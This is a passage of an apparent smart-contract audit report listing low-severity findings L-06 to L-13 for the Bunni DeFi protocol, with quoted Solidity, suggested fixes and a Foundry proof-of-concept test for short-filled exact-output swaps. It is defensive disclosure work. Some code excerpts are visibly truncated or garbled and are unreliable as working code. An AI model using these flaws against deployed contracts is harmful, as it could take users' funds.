[L-06] Wrong calculation of surge fee when `lastSurgeTimestamp` overflows

In the `BunniHookLogic.beforeSwap` and `BunniQuoter.quoteSwap` functions the calculation of `lastSurgeTimestamp` is as follows:

```
File: BunniHookLogic.sol

    // use unchecked so that if uint32 overflows we wrap around
    // overflows are ok since we only look at differences
    unchecked {
        uint32 timeSinceLastSwap = uint32
          (block.timestamp) - slot0.lastSwapTimestamp;
        // if more than `surgeFeeAutostartThreshold` seconds has passed since
        // the last swap,
        // we pretend that the surge started at `slot0.lastSwapTimestamp +
        // surgeFeeAutostartThreshold`
        // so that the pool never gets stuck with a high fee

                lastSurgeTimestamp = timeSinceLastSwap >= hookParams.surgeFeeAutostar
            ? slot0.lastSwapTimestamp + hookParams.surgeFeeAutostartThreshold
            : uint32(block.timestamp);
    }
```

The comment acknowledges that timestamp values can overflow and it is not considered a problem, as the difference between timestamps is the only thing that matters. However, the `lastSurgeTimestamp` value is used in the `FeeMath.computeSurgeFee` function to calculate the surge fee, and there `timeSinceLastSurge` is calculated as the difference between `block.timestamp` value (uint256) and `lastSurgeTimestamp` (uint32).

```
File: FeeMath.sol

function computeSurgeFee
  (uint32 lastSurgeTimestamp, uint24 surgeFee, uint16 surgeFeeHalfLife)
    view
    returns (uint24 fee)
{
    // compute surge fee
    // surge fee gets applied after the LDF shifts (if it's dynamic)
    unchecked {
@>      uint256 timeSinceLastSurge = block.timestamp - lastSurgeTimestamp;
        fee = uint24(
            uint256(surgeFee).mulWadUp(
                uint256((-int256(timeSinceLastSurge.mulDiv
                  (LN2_WAD, surgeFeeHalfLife))).expWad())
            )
        );
    }
}
```

In case the calculation of `lastSurgeTimestamp` overflows its value will be very low, while `block.timestamp` will be very high. This will result in a very high `timeSinceLastSurge` value, which will lead the surge fee to be calculated as zero.

```
unchecked {
-       uint256 timeSinceLastSurge = block.timestamp - lastSurgeTimestamp;
+       uint256 timeSinceLastSurge = uint32
+ (block.timestamp) - lastSurgeTimestamp;
        fee = uint24(
            uint256(surgeFee).mulWadUp(
                uint256((-int256(timeSinceLastSurge.mulDiv
                  (LN2_WAD, surgeFeeHalfLife))).expWad())
            )
        );
    }
```

[L-07] Referrer rewards may be lost because `setReferrerAddress` does not settle rewards

The `BunniHub.setReferrerAddress` function allows the admin or referrer to set a new `referrerAddress`. The code is shown below.

```
function setReferrerAddress
      (uint24 referrer, address referrerAddress) external {
        if (msg.sender != owner
          () && msg.sender != s.referrerAddress[referrer]) revert BunniHub__Unauthoriz
        if (referrer > MAX_REFERRER) revert BunniHub__InvalidReferrer();
        s.referrerAddress[referrer] = referrerAddress;
        emit SetReferrerAddress(referrer, referrerAddress);
    }
```

However, referrer rewards need to be settled manually by the user, so updating `referrerAddress` may cause the original reward to be posted on the new `referrerAddress`. Especially when the admin calls `setReferrerAddress`, the referrer's reward may be lost unexpectedly.

It is recommended to settle the current reward before setting a new `referrerAddress`.

[L-08] Swap with exact output can result in less output than expected

When a swap with exact output is requested, the exact output amount can be less than the amount specified by the user, as the minimum of `amountSpecified` and `outputAmount` is used as the actual output amount.

```
File: BunniHookLogic.sol

385          // give out min
//(amountSpecified, outputAmount) such that if amountSpecified is greater we only give
386  @>      int256 actualOutputAmount = FixedPointMathLib.min
  (params.amountSpecified, outputAmount.toInt256());
387          outputAmount = uint256(actualOutputAmount);
388          beforeSwapDelta = toBeforeSwapDelta({
389              deltaSpecified: -actualOutputAmount.toInt128(),
390              deltaUnspecified: inputAmount.toInt256().toInt128()
391          });
```

The value of `outputAmount` is calculated in the `computeSwap` function in the `BunniSwapMath` library. There are places in the code that can cause this value to be lower than the amount specified by the user. The first one is that `amountSpecified` is higher than the total balance of the output token in the pool, and the second one is that the computation of the swap done in the `computeSwap` function results in a lower output amount than expected.

```
File: BunniSwapMath.sol

56        if (amountSpecified > 0 && uint256
  (amountSpecified) > outputTokenBalance) {
57            // exact output swap where the requested output amount exceeds the
// output token balance
58            // change swap to an exact output swap where the output amount is
// the output token balance
59  @>        amountSpecified = outputTokenBalance.toInt256();
60        }
61
62        // compute first pass result
63  @>    (
  updatedSqrtPriceX96,
  updatedTick,
  inputAmount,
  outputAmount
) = _computeSwap(input, amountSpecified
```

Users are expected to use Uniswap's v4 router to swap tokens, and for exact output swaps these are the parameters that are expected to be passed:

```
struct ExactOutputSingleParams {
    PoolKey poolKey;
    bool zeroForOne;
    uint128 amountOut;
    uint128 amountInMaximum;
    uint160 sqrtPriceLimitX96;
    bytes hookData;
}
```

While `sqrtPriceLimitX96` can be used for slippage protection, it is common to pass `0` as the value, in order to avoid partial fills. As a result, users might receive fewer tokens than they expect, and the transaction will not revert as long as `amountInMaximum` is not exceeded.

Take the following example:

- Alice is willing to pay up to 1,000 USDC for exact output 100 XYZ.
- As there are only 50 XYZ in the pool, the output amount is 50 XYZ instead of the expected 100 XYZ.
- Alice is charged 1,000 USDC.
- Alice has paid 20 USDC per XYZ, greater than the expected limit of 10 USDC per XYZ.

Proof of concept:

Setup

- Add Uniswap v4 periphery contracts to the project.

```
forge
   install Uniswap/v4-periphery@f2f68ecf37b6b881adc74aec11bde24f22b82afb --no-commit
```

- Create new remapping in `foundry.toml`.

```
"@uniswap/v4-periphery/=lib/v4-periphery/",
```

Test

Add the following code to the file `BunniHub.t.sol` and run `forge test --mt test_exactOutputNotFilled`.

```
import {IV4Router} from "@uniswap/v4-periphery/src/interfaces/IV4Router.sol";
import {Actions} from "@uniswap/v4-periphery/src/libraries/Actions.sol";
import {MockV4Router} from "@uniswap/v4-periphery/test/mocks/MockV4Router.sol";
import {Plan, Planner} from "@uniswap/v4-periphery/test/shared/Planner.sol";

(...)

    using Planner for Plan;

    function test_exactOutputNotFilled() external {
        MockV4Router v4Router = new MockV4Router(poolManager);

        (, PoolKey memory key) = _deployPoolAndInitLiquidity(
            Currency.wrap(address(token0)),
            Currency.wrap(address(token1)),
            ERC4626(address(0)),
            ERC4626(address(0))
        );

        // User is willing to pay up to 1.2 token0 for 2 token1
        uint256 amountOut = 2e18;
        uint256 amountInMaximum = 1.2e18;
        _mint(key.currency0, address(this), amountInMaximum);
        token0.approve(address(v4Router), amountInMaximum);

        uint256 initialBalance0 = IERC20(address(token0)).balanceOf(address
          (this));
        uint256 initialBalance1 = IERC20(address(token1)).balanceOf(address
          (this));


            key,
            true, // zeroForOne
            uint128(amountOut),
            uint128(amountInMaximum),
            0, // sqrtPriceLimitX96
            bytes("") // hookData
        );

        Plan memory plan = Planner.init();
        plan = plan.add(Actions.SWAP_EXACT_OUT_SINGLE, abi.encode(params));
        bytes memory data = plan.finalizeSwap(
            Currency.wrap(address(token0)),
            Currency.wrap(address(token1)),
            address(this)
        );
        v4Router.executeActions(data);

        uint256 token0Spent = initialBalance0 - IERC20(address
          (token0)).balanceOf(address(this));
        uint256 token1Received = IERC20(address(token1)).balanceOf(address
          (this)) - initialBalance1;

        // User spent more than 1.1e18 token0, which is below the maximum
        // amountIn,
        // but in exchange for much less than the expected amount of token1
        assert(token0Spent > 1.1e18);
        assert(token1Received < 1e18);
    }
```

It is recommended to revert the transaction if the output amount is less than the amount specified by the user.

[L-09] Providing low withdrawal fee values on deposits can cause an imbalance

Vaults used for rehypothecation might charge fees on withdrawal. For deposits on pools using these vaults, it is expected that the user provides the value of the withdrawal fee. It is accepted that the user provides a fee value of 0 but the actual fee is non-zero, as this will result in a lower amount of shares minted, so there is no incentive to provide a lower fee than the actual fee.

```
File: BunniHubLogic.sol
645:         // use the pre-fee amount to ensure `amount` is the amount of
// tokens
646:         // that we'll be able to withdraw from the vault
647:         // it's safe to rely on the user provided fee value here
648:         // since if user provides fee=0 when it's actually not the amount
// of bunni shares minted goes down
649:         // and if user provide fee!=0 when the fee is some other value
//(0 or non-zero) the validation will revert
650:         uint256 postFeeAmount = amount; // cache amount to use for
// validation later
651:         amount = amount.divWadUp(WAD - vaultFee);
```

However, in the case of the vaults of both tokens charging the same fee on withdrawal, if the depositor provides a fee value of 0 for both tokens, he will receive a number of shares proportional to the amounts deposited, not causing any harm to him. But the result of the protocol will be that fewer tokens than expected are deposited into the vault, raising the `raw balance/total balance` ratio. The effect of this imbalance in the ratio will be incremental with each deposit that provides a fee value of 0, requiring rebalance of the vaults more frequently.

Ensure that the fee value provided by the user is always the actual fee charged by the vault.

[L-10] `AmAmm` pause may allow the non-best bid to take over

The `AmAmm` contract allows the admin to call `BunniHook.setAmAmmEnabledOverride` to pause/unpause the contract. When the contract is paused, users can no longer submit bids. And once the contract is unpaused, the last NextBid may directly become the TopBid. This results in a non-best bid becoming a TopBid.

After unpause, `AmAmm` should clear NextBid.

[L-11] Refund discrepancies in `AmAmm.sol`

In `AmAmm.sol`, when a user places a bid, they specify a `manager` who may not be the same as the `msgSender` (the actual depositor of the assets, code line `AmAmm#L100`). If the bid fails because there is a better bid, the assets are refunded to the `manager` instead of the `msgSender`, code line `AmAmm#L089`. This misallocation can lead to a loss of funds for depositors who are not the `manager`.

```
File: AmAmm.sol
056:     /// @inheritdoc IAmAmm
057:>>>  function bid(
  PoolIdid,
  addressmanager,
  bytes7payload,
  uint128rent,
  uint128deposit
) external virtual override {
058:         ///
// ---------------------------------------------------------------------
059:         /// Validation
060:         ///
// ---------------------------------------------------------------------
061:
062:>>>       address msgSender = LibMulticaller.senderOrSigner();
063:
064:         if (!_amAmmEnabled(id)) {
065:             revert AmAmm__NotEnabled();
066:         }
067:
068:         ///
// ---------------------------------------------------------------------
069:         /// State updates
070:         ///
// ---------------------------------------------------------------------
071:
072:         // update state machine
073:         _updateAmAmmWrite(id);
074:
075:         // ensure bid is valid
076:         // - manager can't be zero address
077:         // - bid needs to be greater than the next bid by >10%
078:         // - deposit needs to cover the rent for K hours
079:         // - deposit needs to be a multiple of rent
080:         // - payload needs to be valid
081:         if (
082:             manager == address(0) || rent <= _nextBids[id].rent.mulWad
  (MIN_BID_MULTIPLIER(id)) || deposit < rent * K(id)
083:                 || deposit % rent != 0 || !_payloadIsValid(id, payload)
084:         ) {
085:             revert AmAmm__InvalidBid();
086:         }
087:
088:>>>       // refund deposit of the previous next bid
089:>>>       _refunds[_nextBids[id].manager][id] += _nextBids[id].deposit;
090:
091:         // update next bid
092:         uint40 epoch = _getEpoch(id, block.timestamp);
093:>>>       _nextBids[id] = Bid(manager, epoch, payload, rent, deposit);
094:
095:         ///
// ---------------------------------------------------------------------
096:         /// External calls
097:         ///
// ---------------------------------------------------------------------
098:
099:         // transfer deposit from msg.sender to this contract
100:>>>       _pullBidToken(id, msgSender, deposit);
101:
102:         emit SubmitBid(id, manager, epoch, payload, rent, deposit);
103:     }
```

Consider the following scenario:

1. `msgSenderA` calls the `bid` function and specifies a contract `0x1234` as the manager, which is stored in `nextBid`.
2. `msgSenderB` places a higher bid, causing the funds from step 1 to be refunded to the manager `0x1234` and not to `msgSenderA`.
3. `msgSenderA` wishes to place another bid; however, they now have to recover the funds from the manager or provide additional assets in order to place a new bid that exceeds the one from step 2.

On the other hand, the function `AmAmm::depositIntoNextBid` checks that the `msgSender` is the same as the `manager`, thus it can be stated that any potential refunds should be directed to the depositor or the manager, as they are the same entity.

```
File: AmAmm.sol
199:     function depositIntoNextBid
  (PoolId id, uint128 amount) external virtual override {
...
...
219:         // only the next bid manager can deposit into the next bid
220:>>>      if (msgSender != nextBid.manager) {
221:             revert AmAmm__Unauthorized();
222:         }
...
...
240:     }
```

It is recommended that the `bid` function unifies the manager and the depositor to prevent discrepancies in the refund.

```
-  function bid
- (PoolId id, address manager, bytes7 payload, uint128 rent, uint128 deposit) external
+  function bid
+ (PoolId id, bytes7 payload, uint128 rent, uint128 deposit) external virtual override
        ///
        // ------------------------------------------------------------------------
        /// Validation
        ///
        // ------------------------------------------------------------------------

        address msgSender = LibMulticaller.senderOrSigner();

        if (!_amAmmEnabled(id)) {
            revert AmAmm__NotEnabled();
        }

        ///
        // ------------------------------------------------------------------------
        /// State updates
        ///
        // ------------------------------------------------------------------------

        // update state machine
        _updateAmAmmWrite(id);

        // ensure bid is valid
        // - manager can't be zero address
        // - bid needs to be greater than the next bid by >10%
        // - deposit needs to cover the rent for K hours
        // - deposit needs to be a multiple of rent
        // - payload needs to be valid
        if (
            manager == address(0) || rent <= _nextBids[id].rent.mulWad
              (MIN_BID_MULTIPLIER(id)) || deposit < rent * K(id)
                || deposit % rent != 0 || !_payloadIsValid(id, payload)
        ) {
            revert AmAmm__InvalidBid();
        }

        // refund deposit of the previous next bid
        _refunds[_nextBids[id].manager][id] += _nextBids[id].deposit;

        // update next bid
        uint40 epoch = _getEpoch(id, block.timestamp);
-       _nextBids[id] = Bid(manager, epoch, payload, rent, deposit);
+       _nextBids[id] = Bid
+ (msgSender, epoch, payload, rent, deposit);  // msgSender is the manager too

        ///
        // ------------------------------------------------------------------------
        /// External calls
        ///
        // ------------------------------------------------------------------------

        // transfer deposit from msg.sender to this contract
        _pullBidToken(id, msgSender, deposit);

        emit SubmitBid(id, manager, epoch, payload, rent, deposit);
    }
```

[L-12] Lack of pool existence check in `setAmAmmEnabledOverride()`

The `BunniHook::setAmAmmEnabledOverride` function allows an override to be set for the amAmm availability of a pool without verifying if the pool actually exists. This can lead to situations where overrides are set for non-existent pools, causing confusion and potential misconfiguration in the protocol.

```
File: BunniHook.sol
267:     function setAmAmmEnabledOverride
  (PoolId id, BoolOverride boolOverride) external onlyOwner {
268:         amAmmEnabledOverride[id] = boolOverride;
269:         emit SetAmAmmEnabledOverride(id, boolOverride);
270:     }
```

The owner can activate a pool via `BunniHook::setAmAmmEnabledOverride`, and the function `BunniHook::getAmAmmEnabled` will return true even when the pool does not exist. Since this function is `external`, it can cause discrepancies for those who use this function.

```
File: BunniHook.sol
340:     function getAmAmmEnabled(PoolId id) external view override returns
  (bool) {
341:         return _amAmmEnabled(id);
342:     }
```

To mitigate this issue, it is recommended to implement a check to verify if the pool exists before allowing the override to be set.

[L-13] Read-only reentrancy on `withdraw()` and `deposit()`

In BunniHub contract during withdrawal and deposit, the logic code makes a lot of external calls to vaults and tokens while the state of the contract is incorrect for that specific pool. Most of the functions of the BunniHub have reentrancy protection but the issue is that BunniQuoter which is used as a view contract to preview actions on the pools can be called during the external calls and because the state of the contract is wrong for that pool the result would be wrong too. Attackers can use this issue to attack other protocols that are built on top of the Bunni protocol and they rely on the return values of BunniQuoter.